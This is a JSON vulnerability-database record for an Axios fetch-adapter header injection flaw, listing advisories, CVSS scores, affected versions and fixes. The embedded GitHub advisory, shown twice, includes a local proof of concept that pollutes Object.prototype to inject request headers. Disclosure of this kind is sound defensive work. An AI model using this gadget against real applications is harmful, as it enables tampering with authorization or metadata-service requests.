{"id":"CVE-2026-101900","aliases":["CLSA-2026-1792190983","CLSA-2026-1792193115","CLSA-2026-1792193199","CLSA-2026-1792429081","CLSA-2026-1792429317","CLSA-2026-1792447518","CLSA-2026-1792488905","CLSA-2026-1793109367","CLSA-2026-1793110604","CLSA-2026-1794060370","DEBIAN-CVE-2026-101900","EUVD-2026-88368","GHSA-4hqw-qxg8-jxx2","RHSA-2026:74869","RHSA-2026:74871","RHSA-2026:74872","UBUNTU-CVE-2026-101900"],"status":"published","title":"Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00546,"percentile":0.46253,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321","CWE-693","CWE-74"],"published":"2026-09-28T17:14:07Z","modified":"2026-11-07T19:00:38Z","fixes":[{"ecosystem":"npm","package":"axios","fixed_in":["1.20.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-axios","fixed_in":["1.20.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.12.0"},{"fixed":"1.20.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.5-tuxcare.0"},{"fixed":"1.13.5-tuxcare.2"}]}],"versions":["1.13.5","1.13.5-tuxcare.1"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.18.1-tuxcare.0"},{"fixed":"1.18.1-tuxcare.2"}]}],"versions":["1.18.1","1.18.1-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.16.0-tuxcare.0"},{"fixed":"1.16.0-tuxcare.3"}]}],"versions":["1.16.0","1.16.0-tuxcare.1","1.16.0-tuxcare.2"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.17.0-tuxcare.0"},{"fixed":"1.17.0-tuxcare.3"}]}],"versions":["1.17.0","1.17.0-tuxcare.1","1.17.0-tuxcare.2"],"bundled":12},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.18.0-tuxcare.0"},{"fixed":"1.18.0-tuxcare.2"}]}],"versions":["1.18.0","1.18.0-tuxcare.1"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.16.1-tuxcare.0"},{"fixed":"1.16.1-tuxcare.1"}]}],"versions":["1.16.1"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.19.0-tuxcare.0"},{"fixed":"1.19.0-tuxcare.1"}]}],"versions":["1.19.0"],"bundled":12},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.6-tuxcare.0"},{"fixed":"1.13.6-tuxcare.1"}]}],"versions":["1.13.6"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.12.2-tuxcare.0"},{"fixed":"1.12.2-tuxcare.1"}]}],"versions":["1.12.2"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.15.0-tuxcare.0"},{"fixed":"1.15.0-tuxcare.1"}]}],"versions":["1.15.0"],"bundled":12},{"source":"osv","ecosystem":"Debian:13","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.20.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.20.0-1"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"1.12.0"},{"fixed":"1.20.0"}]}]},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.1.6-0.6.hum1"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana12.4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.4.12-0.3.hum1"}]}],"bundled":12},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"grafana13.2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:13.2.1-0.9.hum1"}]}],"bundled":11},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.0+dfsg-2","0.19.0+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.1+dfsg-1","0.23.0+dfsg-2","0.24.0+dfsg-1","0.25.0+dfsg-2","0.26.0+dfsg-1","0.26.0+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1+dfsg-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-2","1.6.8+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.2+dfsg-1build1","1.16.0-1","1.18.0-1","1.19.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.2+dfsg-1build1","1.13.2+dfsg-1ubuntu0.1~esm1"]}],"products":[{"vendor":"axios","product":"axios"}],"references":[{"url":"https://github.com/axios/axios/security/advisories/GHSA-4hqw-qxg8-jxx2","tags":["x_refsource_CONFIRM","exploit","advisory","web","article","report"]},{"url":"https://github.com/axios/axios/pull/11141","tags":["x_refsource_MISC","fix","web","article","report"]},{"url":"https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a","tags":["x_refsource_MISC","fix","web","article","report"]},{"url":"https://github.com/axios/axios/releases/tag/v1.20.0","tags":["x_refsource_MISC","web","article","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101900","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4hqw-qxg8-jxx2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/101xxx/CVE-2026-101900.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-101900","tags":["advisory"]},{"url":"https://github.com/axios/axios","tags":["package"]},{"url":"https://access.redhat.com/errata/RHSA-2026:74869","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101903","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-93981","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101906","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101898","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101907","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101909","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101908","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101900","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101905","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101902","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101901","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-101904","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_74869.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2538284","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-93981","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93981","tags":["advisory"]},{"url":"https://github.com/honojs/hono/security/advisories/GHSA-hxh3-vqpv-xpqv","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/hono-jsx-before-4.13.7-cross-site-scripting-via-unescaped-strings","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542571","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101898","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101898","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-3pq3-5fj3-cg6v","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542576","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101900","tags":["advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542577","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-101901","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101901","tags":["advisory"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-542g-h47m-68v8","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2542575","tags":["report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Fetch Adapter Header Injection via Inherited FormData getHeaders","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T17:14:07.108Z","modified":"2026-09-28T17:49:13.106Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-74","CWE-693","CWE-1321"],"updated_at":"2026-11-02T14:20:09.448255Z"}],"euvd":[{"id":"EUVD-2026-88368","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T17:14:07Z","modified":"2026-09-28T17:49:13Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"medium"}],"updated_at":"2026-11-02T17:27:53.091489Z"}],"ghsa":[{"id":"GHSA-4hqw-qxg8-jxx2","title":"Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders","description":"## Summary\n\nAxios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.\n\nPlain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.\n\n## Affected Functionality\n\nAffected:\n\n- Fetch adapter requests.\n- `resolveConfig()` handling of `utils.isFormData(data)`.\n- Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`.\n\nNot affected:\n\n- Node HTTP adapter's later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`.\n- Plain object request bodies rejected by current `isFormData()` plain-object guard.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/helpers/resolveConfig.js` currently contains:\n\n```js\nif (utils.isFormData(data)) {\n  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {\n    headers.setContentType(undefined);\n  } else if (utils.isFunction(data.getHeaders)) {\n    setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n  }\n}\n```\n\nUnlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: 'fetch'`. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype[Symbol.toStringTag] = 'FormData';\nObject.prototype.append = function () {};\nObject.prototype.getHeaders = () =\u003e ({ 'X-Poisoned': 'yes' });\n\nawait axios.post(url, ['a', 'b'], { adapter: 'fetch' });\n```\n\nExpected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header.\n\n## Workarounds\n\nUse the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nThe Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`.\n\nThis is a patch mismatch for the FormData prototype-pollution header-injection class.\n\n## Affected Version\n\nValidated on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- Application uses `adapter: 'fetch'`.\n- A separate prototype-pollution primitive can write:\n  - `Object.prototype[Symbol.toStringTag] = 'FormData'`\n  - `Object.prototype.append = function () {}`\n  - `Object.prototype.getHeaders = function () { ... }`\n- The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard.\n\n## Root Cause\n\n`lib/adapters/http.js` contains:\n\n```js\ndata.getHeaders !== Object.prototype.getHeaders\n```\n\nBut `lib/helpers/resolveConfig.js` only checks:\n\n```js\n} else if (utils.isFunction(data.getHeaders)) {\n  setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n}\n```\n\nThe fetch adapter calls `resolveConfig(config)` before dispatching the request.\n\n## Impact\n\nAn attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.\n\n## Proof of Concept\n\n```js\nimport axios from './index.js';\nimport http from 'http';\n\nconst start = (handler) =\u003e new Promise((resolve) =\u003e {\n  const server = http.createServer((req, res) =\u003e {\n    let body = '';\n    req.on('data', (chunk) =\u003e (body += chunk));\n    req.on('end', () =\u003e handler(req, res, body));\n  });\n  server.listen(0, '127.0.0.1', () =\u003e resolve(server));\n});\n\nconst stop = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst hits = [];\nconst tag = Symbol.toStringTag;\n\nconst server = await start((req, res, body) =\u003e {\n  hits.push({ headers: req.headers, body });\n  res.setHeader('Content-Type', 'application/json');\n  res.end('{\"ok\":true}');\n});\n\ntry {\n  Object.prototype[tag] = 'FormData';\n  Object.prototype.append = function () {};\n  Object.prototype.getHeaders = () =\u003e {\n    const headers = Object.create(null);\n    headers['X-Poisoned'] = 'yes';\n    return headers;\n  };\n\n  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {\n    adapter: 'fetch',\n    timeout: 3000\n  });\n\n  console.log(hits[0]);\n} finally {\n  delete Object.prototype[tag];\n  delete Object.prototype.append;\n  delete Object.prototype.getHeaders;\n  await stop(server);\n}\n```\n\nObserved wire request:\n\n```json\n{\n  \"headers\": {\n    \"x-poisoned\": \"yes\",\n    \"content-type\": \"text/plain;charset=UTF-8\",\n    \"content-length\": \"3\"\n  },\n  \"body\": \"a,b\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9\n- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9\n- Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`\n\u003c/details\u003e\n\n---","status":"published","published":"2026-09-30T15:34:46Z","modified":"2026-09-30T15:34:47Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"medium"}],"cwes":["CWE-74","CWE-693","CWE-1321"],"updated_at":"2026-11-02T14:41:23.783773Z"}],"nvd":[{"id":"CVE-2026-101900","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T18:17:18.05Z","modified":"2026-09-30T19:38:27.293Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"}],"cwes":["CWE-74","CWE-693","CWE-1321"],"updated_at":"2026-11-02T14:12:52.081323Z"}],"osv":[{"id":"CVE-2026-101900","title":"Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T17:14:07.108Z","modified":"2026-10-28T02:31:12.677688011Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"medium"}],"cwes":["CWE-1321","CWE-693","CWE-74"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"DEBIAN-CVE-2026-101900","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request behavior. This issue is fixed in version 1.20.0.","status":"published","published":"2026-09-28T18:17:18.05Z","modified":"2026-10-04T00:00:07.926578085Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:45:48.440897Z"},{"id":"GHSA-4hqw-qxg8-jxx2","title":"Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders","description":"## Summary\n\nAxios contains a guard in the Node HTTP adapter to avoid using an inherited `Object.prototype.getHeaders` as a FormData header source. The fetch adapter calls the shared `resolveConfig()` helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes `Object.prototype` with FormData-like properties and `getHeaders()`, the fetch adapter can merge attacker-controlled headers into the outbound request.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.\n\n## Impact\n\nAn attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.\n\nPlain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.\n\n## Affected Functionality\n\nAffected:\n\n- Fetch adapter requests.\n- `resolveConfig()` handling of `utils.isFormData(data)`.\n- Request bodies that can be spoofed as FormData through inherited `Symbol.toStringTag`, `append`, and `getHeaders`.\n\nNot affected:\n\n- Node HTTP adapter's later FormData header path, which checks `data.getHeaders !== Object.prototype.getHeaders`.\n- Plain object request bodies rejected by current `isFormData()` plain-object guard.\n- Processes without prototype pollution.\n\n## Technical Details\n\n`lib/helpers/resolveConfig.js` currently contains:\n\n```js\nif (utils.isFormData(data)) {\n  if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {\n    headers.setContentType(undefined);\n  } else if (utils.isFunction(data.getHeaders)) {\n    setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n  }\n}\n```\n\nUnlike `lib/adapters/http.js`, this code does not reject `Object.prototype.getHeaders`. Local verification on axios `1.18.1` polluted `Object.prototype[Symbol.toStringTag]`, `append`, and `getHeaders`, then sent an array body with `adapter: 'fetch'`. The loopback server received `X-Poisoned: yes`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype[Symbol.toStringTag] = 'FormData';\nObject.prototype.append = function () {};\nObject.prototype.getHeaders = () =\u003e ({ 'X-Poisoned': 'yes' });\n\nawait axios.post(url, ['a', 'b'], { adapter: 'fetch' });\n```\n\nExpected safe behavior is that inherited `Object.prototype.getHeaders` is ignored. Current affected behavior merges the returned header.\n\n## Workarounds\n\nUse the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nThe Node HTTP adapter contains a guard that prevents `Object.prototype.getHeaders` from being used as a FormData header source. The shared `resolveConfig()` helper does not have the same guard. The fetch adapter calls `resolveConfig()`, so it can still merge headers returned by inherited `data.getHeaders()`.\n\nThis is a patch mismatch for the FormData prototype-pollution header-injection class.\n\n## Affected Version\n\nValidated on:\n\n- axios: `1.17.0`\n- commit: `4306df2`\n- runtime: Node.js `v24.15.0`\n\n## Preconditions\n\n- Application uses `adapter: 'fetch'`.\n- A separate prototype-pollution primitive can write:\n  - `Object.prototype[Symbol.toStringTag] = 'FormData'`\n  - `Object.prototype.append = function () {}`\n  - `Object.prototype.getHeaders = function () { ... }`\n- The request body is an array or custom class instance. Plain objects are blocked by the current `isFormData()` plain-object guard.\n\n## Root Cause\n\n`lib/adapters/http.js` contains:\n\n```js\ndata.getHeaders !== Object.prototype.getHeaders\n```\n\nBut `lib/helpers/resolveConfig.js` only checks:\n\n```js\n} else if (utils.isFunction(data.getHeaders)) {\n  setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));\n}\n```\n\nThe fetch adapter calls `resolveConfig(config)` before dispatching the request.\n\n## Impact\n\nAn attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.\n\n## Proof of Concept\n\n```js\nimport axios from './index.js';\nimport http from 'http';\n\nconst start = (handler) =\u003e new Promise((resolve) =\u003e {\n  const server = http.createServer((req, res) =\u003e {\n    let body = '';\n    req.on('data', (chunk) =\u003e (body += chunk));\n    req.on('end', () =\u003e handler(req, res, body));\n  });\n  server.listen(0, '127.0.0.1', () =\u003e resolve(server));\n});\n\nconst stop = (server) =\u003e new Promise((resolve) =\u003e server.close(resolve));\n\nconst hits = [];\nconst tag = Symbol.toStringTag;\n\nconst server = await start((req, res, body) =\u003e {\n  hits.push({ headers: req.headers, body });\n  res.setHeader('Content-Type', 'application/json');\n  res.end('{\"ok\":true}');\n});\n\ntry {\n  Object.prototype[tag] = 'FormData';\n  Object.prototype.append = function () {};\n  Object.prototype.getHeaders = () =\u003e {\n    const headers = Object.create(null);\n    headers['X-Poisoned'] = 'yes';\n    return headers;\n  };\n\n  await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, ['a', 'b'], {\n    adapter: 'fetch',\n    timeout: 3000\n  });\n\n  console.log(hits[0]);\n} finally {\n  delete Object.prototype[tag];\n  delete Object.prototype.append;\n  delete Object.prototype.getHeaders;\n  await stop(server);\n}\n```\n\nObserved wire request:\n\n```json\n{\n  \"headers\": {\n    \"x-poisoned\": \"yes\",\n    \"content-type\": \"text/plain;charset=UTF-8\",\n    \"content-length\": \"3\"\n  },\n  \"body\": \"a,b\"\n}\n```\n\n## References\n\n- https://github.com/axios/axios/security/advisories/GHSA-6chq-wfr3-2hj9\n- https://osv.dev/vulnerability/GHSA-6chq-wfr3-2hj9\n- Related patch area: `lib/adapters/http.js`, `lib/helpers/resolveConfig.js`\n\u003c/details\u003e\n\n---","status":"published","published":"2026-09-30T15:34:46Z","modified":"2026-09-30T15:46:17.701967512Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N","level":"medium"}],"cwes":["CWE-1321","CWE-693","CWE-74"],"updated_at":"2026-11-02T15:46:37.148947Z"},{"id":"RHSA-2026:74869","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-03T10:17:00Z","modified":"2026-10-10T10:21:33Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74871","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-03T10:17:01Z","modified":"2026-10-20T10:43:37.161085244Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:74872","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-10-03T10:17:01Z","modified":"2026-10-03T10:32:34.60846098Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"UBUNTU-CVE-2026-101900","description":"Axios is a promise-based HTTP client for the browser and Node.js. From 1.12.0 until 1.20.0, ResolveConfig reads inherited Symbol.toStringTag, append, and getHeaders properties while resolving FormData headers. A separate same-process prototype-pollution flaw supplies an array or non-plain class instance whose inherited properties make it appear FormData-like; plain objects are blocked. The inherited getHeaders function can return attacker-controlled headers that resolveConfig merges into a fetch adapter request. Attacker-controlled headers can alter authorization, cache, metadata-service, or application-specific request 